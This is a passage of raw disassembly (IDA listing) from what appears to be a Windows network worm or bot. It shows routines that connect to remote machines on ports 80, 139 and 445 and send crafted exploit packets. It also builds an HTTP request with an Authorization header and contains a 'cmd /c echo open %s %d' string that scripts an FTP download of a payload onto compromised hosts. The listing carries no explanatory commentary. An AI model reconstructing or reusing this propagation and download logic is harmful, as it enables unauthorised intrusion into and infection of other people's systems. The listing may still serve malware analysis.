[ebp+var_8], 0Ah nop call near ptr 71AB1890h cmp eax, edi jnz short loc_40CEA7 lea eax, [ebp+var_10C] push eax push esi call sub_426756 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_40CEAB loc_40CEA7: ; CODE XREF: sub_40CE40+54j xor eax, eax jmp short loc_40CEBB ; --------------------------------------------------------------------------- loc_40CEAB: ; CODE XREF: sub_40CE40+65j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CAFBC loc_40CEBB: ; CODE XREF: sub_40CE40+69j pop edi pop esi leave retn sub_40CE40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEBF proc near ; CODE XREF: sub_40CF04+81p ; sub_40CF04+ABp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push [ebp+arg_8] call dword_4CAFA0 mov [ebp+var_4], eax push 0 lea eax, [ebp+var_4] push 4 push eax push [ebp+arg_0] call dword_4CAFF4 cmp eax, 4 jz short loc_40CEE9 xor al, al leave retn ; --------------------------------------------------------------------------- loc_40CEE9: ; CODE XREF: sub_40CEBF+24j push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_4CAFF4 sub eax, [ebp+arg_8] neg eax sbb eax, eax inc eax leave retn sub_40CEBF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF04 proc near ; CODE XREF: sub_40CFDE+48p ; ___:0040D452p var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 104h push ebx push esi push edi mov edi, [ebp+arg_8] lea ebx, [edi+41h] push ebx mov [ebp+var_4], ebx call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_40CF2D xor al, al jmp loc_40CFD9 ; --------------------------------------------------------------------------- loc_40CF2D: ; CODE XREF: sub_40CF04+20j push ebx push 0 push esi call sub_41B590 push 2Fh push offset dword_431D14 push esi call sub_41C310 push 8 lea eax, [esi+31h] push offset dword_431D44 push eax mov [esi+2Fh], di call sub_41C310 push edi lea ebx, [esi+3Bh] push [ebp+arg_4] mov [esi+39h], di push ebx call sub_41C310 push 6 add ebx, edi push offset dword_4CDCBC push ebx call sub_41C310 mov ebx, [ebp+arg_0] push 85h push offset dword_431C8C push ebx call sub_40CEBF add esp, 48h test al, al jnz short loc_40CF95 loc_40CF91: ; CODE XREF: sub_40CF04+B5j xor bl, bl jmp short loc_40CFD0 ; --------------------------------------------------------------------------- loc_40CF95: ; CODE XREF: sub_40CF04+8Bj mov edi, 100h push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 push [ebp+var_4] push esi push ebx call sub_40CEBF add esp, 1Ch test al, al jz short loc_40CF91 push 0 lea eax, [ebp+var_104] push edi push eax push ebx call sub_40CE40 add esp, 10h mov bl, 1 loc_40CFD0: ; CODE XREF: sub_40CF04+8Fj push esi call sub_41B0B1 pop ecx mov al, bl loc_40CFD9: ; CODE XREF: sub_40CF04+24j pop edi pop esi pop ebx leave retn sub_40CF04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CFDE proc near ; CODE XREF: ___:0040D438p var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push 0 push 48h push offset unk_431D50 push [ebp+arg_0] nop call near ptr 71AB1AF4h cmp eax, 48h jnz short loc_40D019 push 0 lea eax, [ebp+var_20] push 20h push eax push [ebp+arg_0] call sub_40CE40 add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40D019 cmp [ebp+var_20], 82h jz short loc_40D01D loc_40D019: ; CODE XREF: sub_40CFDE+1Bj ; sub_40CFDE+33j xor al, al leave retn ; --------------------------------------------------------------------------- loc_40D01D: ; CODE XREF: sub_40CFDE+39j push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40CF04 add esp, 0Ch leave retn sub_40CFDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D030 proc near ; CODE XREF: sub_40D07C+2Dp var_10 = qword ptr -10h var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] and dword ptr [ebp+var_8+4], 0 shl eax, 3 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] fmul dbl_427690 call sub_41C798 and dword ptr [ebp+var_8+4], 0 mov dword ptr [ebp+var_8], eax fild [ebp+var_8] push ecx push ecx ; double fst [ebp+var_8] fmul dbl_427688 fstp [esp+10h+var_10] call sub_41C679 fadd st, st pop ecx pop ecx fadd [ebp+var_8] call sub_41C798 inc eax leave retn sub_40D030 endp ; =============== S U B R O U T I N E ======================================= sub_40D07C proc near ; CODE XREF: sub_40D21E+24p var_40 = qword ptr -40h mov eax, offset loc_426DF7 call sub_41CC64 sub esp, 2Ch mov al, [ebp+13h] push ebx push esi push edi xor edi, edi lea ecx, [ebp-38h] push edi mov [ebp-20h], edi mov [ebp-38h], al call sub_40D6B3 push 1 pop ebx push dword ptr [ebp+10h] mov [ebp-4], ebx call sub_40D030 cmp [ebp-2Ch], eax pop ecx jnb short loc_40D0BE push edi push eax lea ecx, [ebp-38h] call sub_40D62E loc_40D0BE: ; CODE XREF: sub_40D07C+36j cmp [ebp+10h], edi mov [ebp-18h], edi jbe loc_40D1DB mov ebx, [ebp+10h] loc_40D0CD: ; CODE XREF: sub_40D07C+156j cmp dword ptr [ebp+10h], 3 jb short loc_40D0D7 push 3 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0D7: ; CODE XREF: sub_40D07C+55j cmp dword ptr [ebp+10h], 2 jnz short loc_40D0E1 push 2 jmp short loc_40D0E9 ; --------------------------------------------------------------------------- loc_40D0E1: ; CODE XREF: sub_40D07C+5Fj cmp dword ptr [ebp+10h], 1 jnz short loc_40D0EA push 1 loc_40D0E9: ; CODE XREF: sub_40D07C+59j ; sub_40D07C+63j pop ebx loc_40D0EA: ; CODE XREF: sub_40D07C+69j mov [ebp-28h], ebx mov [ebp-24h], edi fild qword ptr [ebp-28h] push ecx push ecx ; double fmul dbl_4276A0 fstp [esp+40h+var_40] call sub_41C7BF pop ecx pop ecx call sub_41C798 cmp ebx, edi mov [ebp-1Ch], eax jbe short loc_40D129 mov esi, [ebp+0Ch] mov ecx, ebx mov edx, ecx lea edi, [ebp-10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb xor edi, edi loc_40D129: ; CODE XREF: sub_40D07C+93j mov cl, [ebp-10h] mov dl, [ebp-10h] sar cl, 2 and cl, 3Fh and dl, 3 mov [ebp-14h], cl mov cl, [ebp-0Fh] sar cl, 4 and cl, 0Fh add [ebp+0Ch], ebx shl dl, 4 add cl, dl mov dl, [ebp-0Fh] mov [ebp-13h], cl mov cl, [ebp-0Eh] sar cl, 6 and dl, 0Fh sub [ebp+10h], ebx and cl, 3 xor esi, esi shl dl, 2 add cl, dl mov [ebp-12h], cl mov cl, [ebp-0Eh] and cl, 3Fh cmp eax, edi mov [ebp-11h], cl jbe short loc_40D197 add [ebp-18h], eax loc_40D17B: ; CODE XREF: sub_40D07C+119j movsx eax, byte ptr [ebp+esi-14h] lea ecx, [ebp-38h] mov al, byte_431D9C[eax] push eax push 1 call sub_40D4B0 inc esi cmp esi, [ebp-1Ch] jb short loc_40D17B loc_40D197: ; CODE XREF: sub_40D07C+FAj cmp dword ptr [ebp-18h], 48h jb short loc_40D1B5 push dword ptr [ebp+14h] call sub_41AFE0 pop ecx push eax lea ecx, [ebp-38h] push dword ptr [ebp+14h] call sub_40D509 mov [ebp-18h], edi loc_40D1B5: ; CODE XREF: sub_40D07C+11Fj push 4 pop esi cmp [ebp-1Ch], esi jnb short loc_40D1CF sub esi, [ebp-1Ch] loc_40D1C0: ; CODE XREF: sub_40D07C+151j push 3Dh push 1 lea ecx, [ebp-38h] call sub_40D4B0 dec esi jnz short loc_40D1C0 loc_40D1CF: ; CODE XREF: sub_40D07C+13Fj cmp [ebp+10h], edi ja loc_40D0CD push 1 pop ebx loc_40D1DB: ; CODE XREF: sub_40D07C+48j mov esi, [ebp+8] mov al, [ebp-38h] push edi mov ecx, esi mov [esi], al call sub_40D6B3 push dword_427698 lea eax, [ebp-38h] mov ecx, esi push edi push eax call sub_40D560 mov [ebp-20h], ebx and byte ptr [ebp-4], 0 push ebx lea ecx, [ebp-38h] call sub_40D6B3 mov ecx, [ebp-0Ch] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx leave retn sub_40D07C endp ; =============== S U B R O U T I N E ======================================= sub_40D21E proc near ; CODE XREF: ___:0040D41Bp mov eax, offset loc_426E14 call sub_41CC64 sub esp, 10h push ebx push esi push edi push offset dword_43D158 lea eax, [ebp-1Ch] push dword ptr [ebp+10h] xor ebx, ebx mov [ebp-4], ebx push dword ptr [ebp+0Ch] push eax call sub_40D07C mov eax, [ebp+1Ch] mov ecx, [ebp-14h] mov byte ptr [ebp-4], 1 lea esi, [ecx+eax+36h] push esi call sub_41B4D5 mov edi, eax add esp, 14h cmp edi, ebx jnz short loc_40D268 xor bl, bl jmp short loc_40D2AC ; --------------------------------------------------------------------------- loc_40D268: ; CODE XREF: sub_40D21E+44j mov ecx, [ebp-18h] mov eax, offset dword_4276A8 cmp ecx, ebx jnz short loc_40D276 mov ecx, eax loc_40D276: ; CODE XREF: sub_40D21E+54j cmp [ebp+18h], ebx jz short loc_40D27E mov eax, [ebp+18h] loc_40D27E: ; CODE XREF: sub_40D21E+5Bj push ecx push eax push offset aGetHttp1_0Host ; "GET / HTTP/1.0\r\nHost: %s\r\nAuthorization"... push esi push edi call sub_41B980 add esp, 14h push ebx push esi push edi push dword ptr [ebp+8] call dword_4CAFF4 cmp eax, esi jz short loc_40D2A3 xor bl, bl jmp short loc_40D2A5 ; --------------------------------------------------------------------------- loc_40D2A3: ; CODE XREF: sub_40D21E+7Fj mov bl, 1 loc_40D2A5: ; CODE XREF: sub_40D21E+83j push edi call sub_41B0B1 pop ecx loc_40D2AC: ; CODE XREF: sub_40D21E+48j and byte ptr [ebp-4], 0 push 1 lea ecx, [ebp-1Ch] call sub_40D6B3 or dword ptr [ebp-4], 0FFFFFFFFh push 1 lea ecx, [ebp+14h] call sub_40D6B3 mov ecx, [ebp-0Ch] pop edi mov al, bl pop esi pop ebx mov large fs:0, ecx leave retn sub_40D21E endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 420h and byte ptr [ebp-420h], 0 push ebx push esi push edi mov ecx, 0FFh xor eax, eax lea edi, [ebp-41Fh] push 8Fh rep stosd stosw stosb lea eax, [ebp-420h] push offset sub_431F48 push eax call sub_41C310 add esp, 0Ch mov eax, offset byte_429108 push eax push eax movzx eax, word ptr dword_4CACE0 push eax push dword ptr [ebp+8] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "... lea eax, [ebp-391h] push 400h push eax call sub_41B980 add eax, 90h push eax lea eax, [ebp-420h] push eax push 164h lea eax, [ebp-8] push offset sub_431DE0 push eax call sub_40CADA xor esi, esi add esp, 30h cmp [ebp-4], esi jnz short loc_40D377 xor eax, eax jmp loc_40D4A3 ; --------------------------------------------------------------------------- loc_40D377: ; CODE XREF: ___:0040D36Ej mov [ebp-0Ch], esi loc_40D37A: ; CODE XREF: ___:0040D47Aj test esi, esi jnz loc_40D480 push 6 push 1 push 2 call near ptr 71AB3C22h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_40D468 xor eax, eax lea edi, [ebp-1Ah] stosd push dword ptr [ebp+0A8h] stosd stosd stosw mov word ptr [ebp-1Ch], 2 call dword_4CAFA4 mov [ebp-1Ah], ax lea eax, [ebp+0Ch] push eax call dword_4CAFE4 mov [ebp-18h], eax lea eax, [ebp-1Ch] push 10h push eax push ebx call dword_4CAF4C cmp eax, 0FFFFFFFFh jz loc_40D45D cmp dword ptr [ebp+0A8h], 50h jnz short loc_40D425 mov al, [ebp+0C3h] sub esp, 10h mov esi, esp mov [ebp-20h], esp push 0 mov ecx, esi mov [esi], al call sub_40D6B3 lea eax, [ebp+0Ch] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+0Ch] push eax mov ecx, esi call sub_40D6EF push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40D21E add esp, 1Ch jmp short loc_40D45A ; --------------------------------------------------------------------------- loc_40D425: ; CODE XREF: ___:0040D3E3j cmp dword ptr [ebp+0A8h], 8Bh jnz short loc_40D43F push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CFDE jmp short loc_40D457 ; --------------------------------------------------------------------------- loc_40D43F: ; CODE XREF: ___:0040D42Fj cmp dword ptr [ebp+0A8h], 1BDh jnz short loc_40D45D push dword ptr [ebp-4] push dword ptr [ebp-8] push ebx call sub_40CF04 loc_40D457: ; CODE XREF: ___:0040D43Dj add esp, 0Ch loc_40D45A: ; CODE XREF: ___:0040D423j movzx esi, al loc_40D45D: ; CODE XREF: ___:0040D3D6j ; ___:0040D449j push ebx call dword_4CB03C test esi, esi jnz short loc_40D473 loc_40D468: ; CODE XREF: ___:0040D393j push 3E8h call near ptr 2670000h nop loc_40D473: ; CODE XREF: ___:0040D466j inc dword ptr [ebp-0Ch] cmp dword ptr [ebp-0Ch], 2 jl loc_40D37A loc_40D480: ; CODE XREF: ___:0040D37Cj lea ecx, [ebp-8] call sub_40C8FF test esi, esi jz short loc_40D4A1 mov eax, [ebp+0B0h] shl eax, 6 inc dword_431448[eax] lea eax, dword_431448[eax] loc_40D4A1: ; CODE XREF: ___:0040D48Aj mov eax, esi loc_40D4A3: ; CODE XREF: ___:0040D372j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426DD8 loc_40D4A8: ; CODE XREF: sub_426DD8+3j ; ___:00426DF1j ... push 1 call sub_40D6B3 retn ; END OF FUNCTION CHUNK FOR sub_426DD8 ; =============== S U B R O U T I N E ======================================= sub_40D4B0 proc near ; CODE XREF: sub_40D07C+110p ; sub_40D07C+14Bp arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_0] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D4CA call sub_42669A loc_40D4CA: ; CODE XREF: sub_40D4B0+13j test ebx, ebx jbe short loc_40D501 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D501 movsx eax, [esp+0Ch+arg_4] push ebx push eax mov eax, [esi+4] add eax, [esi+8] push eax call sub_41B590 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D501: ; CODE XREF: sub_40D4B0+1Cj ; sub_40D4B0+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D4B0 endp ; =============== S U B R O U T I N E ======================================= sub_40D509 proc near ; CODE XREF: sub_40D07C+131p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, dword_427698 push ebx mov ebx, [esp+4+arg_4] push esi mov esi, ecx push edi sub eax, [esi+8] cmp eax, ebx ja short loc_40D523 call sub_42669A loc_40D523: ; CODE XREF: sub_40D509+13j test ebx, ebx jbe short loc_40D558 mov edi, ebx push 0 add edi, [esi+8] mov ecx, esi push edi call sub_40D62E test al, al jz short loc_40D558 mov eax, [esi+8] push ebx push [esp+10h+arg_0] add eax, [esi+4] push eax call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [edi+eax], 0 loc_40D558: ; CODE XREF: sub_40D509+1Cj ; sub_40D509+2Fj mov eax, esi pop edi pop esi pop ebx retn 8 sub_40D509 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D560 proc near ; CODE XREF: sub_40D07C+17Cp ; sub_4265B0+15p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, [ebp+arg_0] push esi push edi mov edi, ecx cmp [ebx+8], eax jnb short loc_40D578 call sub_426573 loc_40D578: ; CODE XREF: sub_40D560+11j mov eax, [ebx+8] mov ecx, [ebp+arg_4] mov esi, eax sub esi, ecx cmp [ebp+arg_8], esi jnb short loc_40D58A mov esi, [ebp+arg_8] loc_40D58A: ; CODE XREF: sub_40D560+25j cmp edi, ebx jnz short loc_40D5AC push dword_427698 add esi, ecx mov ecx, edi push esi call sub_40D724 push [ebp+arg_4] mov ecx, edi push 0 call sub_40D724 jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5AC: ; CODE XREF: sub_40D560+2Cj test esi, esi jbe short loc_40D5EF cmp esi, eax jnz short loc_40D5EF mov eax, [ebx+4] test eax, eax jnz short loc_40D5C0 mov eax, offset dword_4276A8 loc_40D5C0: ; CODE XREF: sub_40D560+59j cmp byte ptr [eax-1], 0FEh jnb short loc_40D5EF push 1 mov ecx, edi call sub_40D6B3 mov eax, [ebx+4] test eax, eax jnz short loc_40D5DB mov eax, offset dword_4276A8 loc_40D5DB: ; CODE XREF: sub_40D560+74j mov [edi+4], eax mov ecx, [ebx+8] mov [edi+8], ecx mov ecx, [ebx+0Ch] mov [edi+0Ch], ecx inc byte ptr [eax-1] jmp short loc_40D625 ; --------------------------------------------------------------------------- loc_40D5EF: ; CODE XREF: sub_40D560+4Ej ; sub_40D560+52j ... push 1 push esi mov ecx, edi call sub_40D62E test al, al jz short loc_40D625 mov eax, [ebx+4] test eax, eax jnz short loc_40D609 mov eax, offset dword_4276A8 loc_40D609: ; CODE XREF: sub_40D560+A2j mov ecx, [ebp+arg_4] push esi add eax, ecx push eax push dword ptr [edi+4] call sub_41C310 mov eax, [edi+4] add esp, 0Ch mov [edi+8], esi and byte ptr [eax+esi], 0 loc_40D625: ; CODE XREF: sub_40D560+4Aj ; sub_40D560+8Dj ... mov eax, edi pop edi pop esi pop ebx pop ebp retn 0Ch sub_40D560 endp ; =============== S U B R O U T I N E ======================================= sub_40D62E proc near ; CODE XREF: sub_40D07C+3Dp ; sub_40D4B0+28p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx cmp edi, 0FFFFFFFDh jbe short loc_40D640 call sub_42669A loc_40D640: ; CODE XREF: sub_40D62E+Bj mov ecx, [esi+4] xor edx, edx cmp ecx, edx jz short loc_40D669 mov al, [ecx-1] cmp al, dl jz short loc_40D669 cmp al, 0FFh jz short loc_40D669 cmp edi, edx jnz short loc_40D6A4 dec al push edx mov [ecx-1], al loc_40D65E: ; CODE XREF: sub_40D62E+47j mov ecx, esi call sub_40D6B3 loc_40D665: ; CODE XREF: sub_40D62E+4Bj ; sub_40D62E+52j xor al, al jmp short loc_40D6AE ; --------------------------------------------------------------------------- loc_40D669: ; CODE XREF: sub_40D62E+19j ; sub_40D62E+20j ... cmp edi, edx jnz short loc_40D682 cmp [esp+8+arg_4], dl jz short loc_40D677 push 1 jmp short loc_40D65E ; --------------------------------------------------------------------------- loc_40D677: ; CODE XREF: sub_40D62E+43j cmp ecx, edx jz short loc_40D665 mov [esi+8], edx mov [ecx], dl jmp short loc_40D665 ; --------------------------------------------------------------------------- loc_40D682: ; CODE XREF: sub_40D62E+3Dj cmp [esp+8+arg_4], dl jz short loc_40D69F mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D694 cmp eax, edi jnb short loc_40D6AC loc_40D694: ; CODE XREF: sub_40D62E+60j push 1 mov ecx, esi call sub_40D6B3 jmp short loc_40D6A4 ; --------------------------------------------------------------------------- loc_40D69F: ; CODE XREF: sub_40D62E+58j cmp [esi+0Ch], edi jnb short loc_40D6AC loc_40D6A4: ; CODE XREF: sub_40D62E+28j ; sub_40D62E+6Fj push edi mov ecx, esi call sub_40D78B loc_40D6AC: ; CODE XREF: sub_40D62E+64j ; sub_40D62E+74j mov al, 1 loc_40D6AE: ; CODE XREF: sub_40D62E+39j pop edi pop esi retn 8 sub_40D62E endp ; =============== S U B R O U T I N E ======================================= sub_40D6B3 proc near ; CODE XREF: sub_40D07C+1Fp ; sub_40D07C+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D6DF mov eax, [esi+4] test eax, eax jz short loc_40D6DF lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D6D8 cmp al, 0FFh jz short loc_40D6D8 dec al mov [ecx], al jmp short loc_40D6DF ; --------------------------------------------------------------------------- loc_40D6D8: ; CODE XREF: sub_40D6B3+19j ; sub_40D6B3+1Dj push ecx call sub_41CC83 pop ecx loc_40D6DF: ; CODE XREF: sub_40D6B3+8j ; sub_40D6B3+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D6B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D6EF proc near ; CODE XREF: ___:0040D40Fp ; sub_40D848+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D62E test al, al jz short loc_40D71D push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D71D: ; CODE XREF: sub_40D6EF+12j mov eax, esi pop edi pop esi retn 8 sub_40D6EF endp ; =============== S U B R O U T I N E ======================================= sub_40D724 proc near ; CODE XREF: sub_40D560+39p ; sub_40D560+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D737 call sub_426573 loc_40D737: ; CODE XREF: sub_40D724+Cj mov ecx, edi call sub_40D848 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D74D mov ebx, eax loc_40D74D: ; CODE XREF: sub_40D724+25j test ebx, ebx jbe short loc_40D783 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41CC90 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D62E test al, al jz short loc_40D783 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D783: ; CODE XREF: sub_40D724+2Bj ; sub_40D724+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D724 endp ; =============== S U B R O U T I N E ======================================= sub_40D78B proc near ; CODE XREF: sub_40D62E+79p mov eax, offset loc_426E20 call sub_41CC64 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D7B1 mov edi, [ebp+8] loc_40D7B1: ; CODE XREF: sub_40D78B+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D7BE xor eax, eax loc_40D7BE: ; CODE XREF: sub_40D78B+2Fj push eax call sub_41CFC5 pop ecx mov [ebp+8], eax jmp short loc_40D7EF ; --------------------------------------------------------------------------- mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D7D9 xor eax, eax loc_40D7D9: ; CODE XREF: sub_40D78B+4Aj push eax call sub_41CFC5 mov [ebp+8], eax pop ecx mov eax, offset loc_40D7E9 retn ; --------------------------------------------------------------------------- loc_40D7E9: ; DATA XREF: sub_40D78B+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D7EF: ; CODE XREF: sub_40D78B+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D80D cmp eax, edi jbe short loc_40D7FC mov eax, edi loc_40D7FC: ; CODE XREF: sub_40D78B+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41C310 add esp, 0Ch loc_40D80D: ; CODE XREF: sub_40D78B+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D6B3 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D82D mov edi, ebx loc_40D82D: ; CODE XREF: sub_40D78B+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D78B endp ; =============== S U B R O U T I N E ======================================= sub_40D848 proc near ; CODE XREF: sub_40D724+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40D875 mov al, [esi-1] test al, al jz short loc_40D875 cmp al, 0FFh jz short loc_40D875 push 1 call sub_40D6B3 push esi call sub_41AFE0 pop ecx push eax push esi mov ecx, edi call sub_40D6EF loc_40D875: ; CODE XREF: sub_40D848+9j ; sub_40D848+10j ... pop edi pop esi retn sub_40D848 endp ; =============== S U B R O U T I N E ======================================= sub_40D878 proc near ; DATA XREF: ___:00429008o test byte_4DB5C4, 1 jnz short loc_40D888 or byte_4DB5C4, 1 loc_40D888: ; CODE XREF: sub_40D878+7j jmp $+5 push offset nullsub_1 call sub_41D040 pop ecx retn sub_40D878 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D89A proc near ; DATA XREF: ___:0042900Co jmp $+5 sub_40D89A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D89F proc near mov eax, dword_432200 add eax, 6 mov dword_4CDCC4, eax retn sub_40D89F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8AD proc near ; CODE XREF: sub_40D8AD+D0p ; ___:0040DE0Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D8C1 or [ebp+arg_7], 1 jmp short loc_40D8C5 ; --------------------------------------------------------------------------- loc_40D8C1: ; CODE XREF: sub_40D8AD+Cj and [ebp+arg_7], 0FEh loc_40D8C5: ; CODE XREF: sub_40D8AD+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D8E9 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40D8FB ; --------------------------------------------------------------------------- loc_40D8E9: ; CODE XREF: sub_40D8AD+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40D8FB: ; CODE XREF: sub_40D8AD+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41B4D5 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D994 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] nop call near ptr 26E0000h test eax, eax jz short loc_40D98B mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40D98B push [ebp+arg_20] call sub_41B0B1 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D987 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40D8AD add esp, 2Ch jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D987: ; CODE XREF: sub_40D8AD+B3j mov al, 1 jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D8AD+9Cj ; sub_40D8AD+A4j push [ebp+arg_20] call sub_41B0B1 pop ecx loc_40D994: ; CODE XREF: sub_40D8AD+61j xor al, al loc_40D996: ; CODE XREF: sub_40D8AD+D8j ; sub_40D8AD+DCj pop edi pop esi pop ebx leave retn sub_40D8AD endp ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ▀ db 0ECh ; Л db 0B8h ; ╦ db 0DCh ; э db 60h ; ` db 0 db 0 db 0E8h ; Х db 78h ; x db 0E1h ; А db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 68h ; h db 0F4h ; Т db 0D4h ; т db 42h ; B db 0 db 0FFh db 75h ; u db 8 db 0E8h ; Х db 0A8h ; ╗ db 0F7h ; В db 0 db 0 db 59h ; Y db 33h ; 3 db 0DBh ; ш db 85h ; ┘ db 0C0h ; ю db 59h ; Y db 74h ; t db 4Eh ; N db 0FFh db 75h ; u db 8 db 0BEh ; ╬ db 0 db 20h db 0 db 0 db 8Dh ; █ db 85h ; ┘ db 24h ; $ db 0DFh ; ъ db 0FFh db 0FFh db 68h ; h db 7Ch ; | db 22h ; " db 43h ; C db 0 db 56h ; V db 50h ; P db 0E8h ; Х db 0A6h ; ╕ db 0DFh ; 